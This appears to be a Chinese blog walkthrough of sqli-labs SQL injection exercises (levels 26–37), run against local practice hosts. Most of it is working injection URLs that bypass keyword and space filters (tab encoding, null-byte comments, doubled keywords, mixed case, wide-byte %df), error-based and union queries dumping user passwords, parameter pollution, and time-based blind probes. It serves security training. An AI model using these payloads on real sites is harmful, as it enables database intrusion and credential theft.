0
点赞
收藏
分享

微信扫一扫

sqli-labs ----less-26---37--练习

是她丫 2022-03-11 阅读 91

sqli-labs————Less-26(绕空格、/*、#等)

该关卡提示空格和注释被转义,我们测试一下:


http://www.sqli.com/Less-26/?id=1’报错

sqli-labs-master/Less-26/?id=1’ --+ 依旧报错,

我添加的注释不见了,应该是注释被转义成了空字符,我们换成;%00测试一下:

http://www.sqli.com/Less-26/?id=1%20and%20sleep(4);%00

and应该被转义了 phpstorm 抓一下包看看

除了用;%00绕过,我们还可以使用id=1’ or ‘1’=’1进行绕过,但是要注意该关卡的or和空格都进行了转义,空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。

由于无法使用空格,因此
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ (oorrder by 4);%00这种语句都无法使用,我们使用报错注入:

  1. 替换:如 and 可替换为 && ,or 可替换为 ||

获取当前数据库

select * from users where id='1' union (select(extractvalue(1,concat(0x7e,database()))));%00

获取所有数据库:

但是这里长度有限制,无法全部取出

http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(schema_name)) from (infoorrmation_schema.schemata) )))));%00

获取security库中的表:

select * from users where id='1' || (select (extractvalue(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))))));%00

获取users库中字段:

select * from users where id='1' || (select (extractvalue(1,concat(0x7e,(select (group_concat(column_name)) from (
infoorrmation_schema.columns) where ((table_schema=0x7365637572697479) aandnd (table_name=0x7573657273)))))));%00 注意and也需要双写:

获取username和password字段的信息:

注意password中or需要双写,由于长度限制,使用group_concat()函数无法取出全部数据,而且空格被转义,所有limit函数也无法使用,因此我们使用where(id=1)来定位数据,这样可以取出全部数据。

sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (concat(username,0x7e,passwoorrd)) from (security.users) where (id=1))))));%00

sqli-labs————Less-27(union and等)

提示好像是 union and b被过滤了

确定注入参数值类型,

id=1’报错 过滤了 1=1 1=2 没有报错

根据报错信息确定参数值类型为字符型

是否过滤空格,也是过滤

果然过滤union关键字

select也是过滤的,但是大小写可以突破的

PHPSTORM抓包看一下

有破绽 可以大小绕过

空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。

但是大小写可以突破的 空格%09绕过 ;%00带掉

回显显示为为3

http://www.sqli.com/less-27/?id=-1%27%09uNion%09seLect%091,2,3;%00

http://www.sqli.com/less-27/?id=-1%27%09oRder%09by%094;%00

获取当前数据库名顺便获取当前用户名

列出(数据库:security)中所有的表

http://www.sqli.com/less-27/?id=id=-1%27%09uNion%09seLect%091,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=%27security%27;%00

列出(数据库:security 表:users )中所有的字段

www.sqli.com/less-27/?id=id=-1%27%09uNion%09seLect%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_schema=%27security%27and%09table_name=%27users%27;%00

列出(表:users )中第一段结果

www.sqli.com/less-27/?id=id=-1%27%09uNion%09seLect%091,group_concat(concat_ws(0x7e,username,password)),3%09from%09security.users;%00

http://www.sqli.com/less-27/?id=0%27%09uNion%09seLect%091,group_concat(concat_ws(0x7e,username,password)),3%09from%09security.users;%00&XDEBUG_SESSION_START=PHPSTORM

sqli-labs————Less-28()

老规矩先判断


http://www.sqli.com/Less-28/?id=1’ 先来个单引号看看 果然报错 存在注入

然后双引号,看报错,猜测下语句里面用的是什么这里我用单引号报错了,然而双引号没有报错

后面可能就是 select *from users where id=('xxx')

闭合成功 -1%27)%09aNd%09Sleep(10);%00

PHPSTORM抓包看一下

获取当前数据库名顺便获取当前用户名

这里就使用bool/time型注入,则注入得到当前用户的第一个字符

是r 猜测是root

http://www.sqli.com/Less-28/?id=0%27)union(select(1),user(),3);%00

http://www.sqli.com/Less-28/?id=0%27)union(select(1),user(),3);%00

后面就简单了

sqli-labs————Less-29()

看下页面,(这个网站受到世界最好的防火墙保护)

老规矩先判断

输入一个引号发生错误,两个引号正常

感觉是一个数字型

然后输入(,看会不会报错

sql/Less-28a/?id=1)''

后面单引号是闭合原来语句的单引号,加上)没错,说明原来的语句有括号

语句可能就是 select *from users where id=’1’

查看源代码

根据网上教程说是双服务器

验证一下结果如下

http://www.sqli.com/less-29/?id=1%27union%20select%201,2,3--+

据报错提示可以构造闭合了'--+,看看是否存在联合查询注入,构造
http://localhost:8080/sqli-labs/Less-29/?id=1&id=0%27union%20select%201,2,3--+,回显如下,说明存在,接下来的操作和以前的单服务器一样了

获取当前的数据库用户名

http://www.sqli.com/less-29/?id=1&id=0%27union%20select%201,user(),3--+

http://www.sqli.com/less-29/?id=1&id=0%27union%20select%201,database(),3--+

列出当前的数据库所以表

http://www.sqli.com/less-29/?id=1&id=0%27union%20select%201,group_concat(table_name),3%09from%09information_schema.tables%09where%09table_schema=%27security%27;%00

列出(数据库:security 表:users )中所有的字段

列出(表:users )中第一段结果

sqli-labs————Less-30()

老规矩上来单引号 感觉和29差不多

双引号错误 可以猜猜对面可能是 select * from users where id="1"

进一步验证

http://www.sqli.com/less-30/?id=1&id=0&id=0%22union%20select%201,group_concat(concat_ws(0x7e,username,password)),3%09from%09security.users;%00

sqli-labs————Less-35()

id=’ 报错 id=’’ 报错

http://www.sqli.com/less-35/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20--+

字段

http://www.sqli.com/less-35/?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273%20--%20+

users 密码

http://www.sqli.com/less-35/?id=-1%20union%20select%201,2,group_concat(concat_ws(0x7e,username,password))%20from%20security.users%20--+

方法二(时间盲注)

判断当前库名称长度

http://www.web.com/sql/Less-35/?id=1 and if(length(database())=,1,sleep(2))–+

没有延时并返回正确则说明正确,有延时则说明错误

判断当前数据库首字母(0x73是s的十六进制)

http://www.web.com/sql/Less-35/?id=1 and if(substr((select database()),1,1)=0x73,1,sleep(2))–+

没有延时并返回正确则说明正确,有延时则说明错误

sqli-labs————Less-36()

查找注入点

http://www.web.com/sql/Less-36/?id=1’
提示显示被转义 ok

-1%df%27union%20select%201,database(),3%20--%201

注入点

源码被转义了

http://www.sqli.com/less-36/?id=-1%df%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20--%201

users 密码

http://www.sqli.com/less-36/?id=-1%fd%27union%20select%201,2,group_concat(concat_ws(0x7e,username,password))%20from%20security.users%20--+

判断当前库名称长度

http://www.web.com/sql/Less-35/?id=1%df’ and if(length(database())=,1,sleep(2))–+

sqli-labs————Less-37()

举报

相关推荐

0 条评论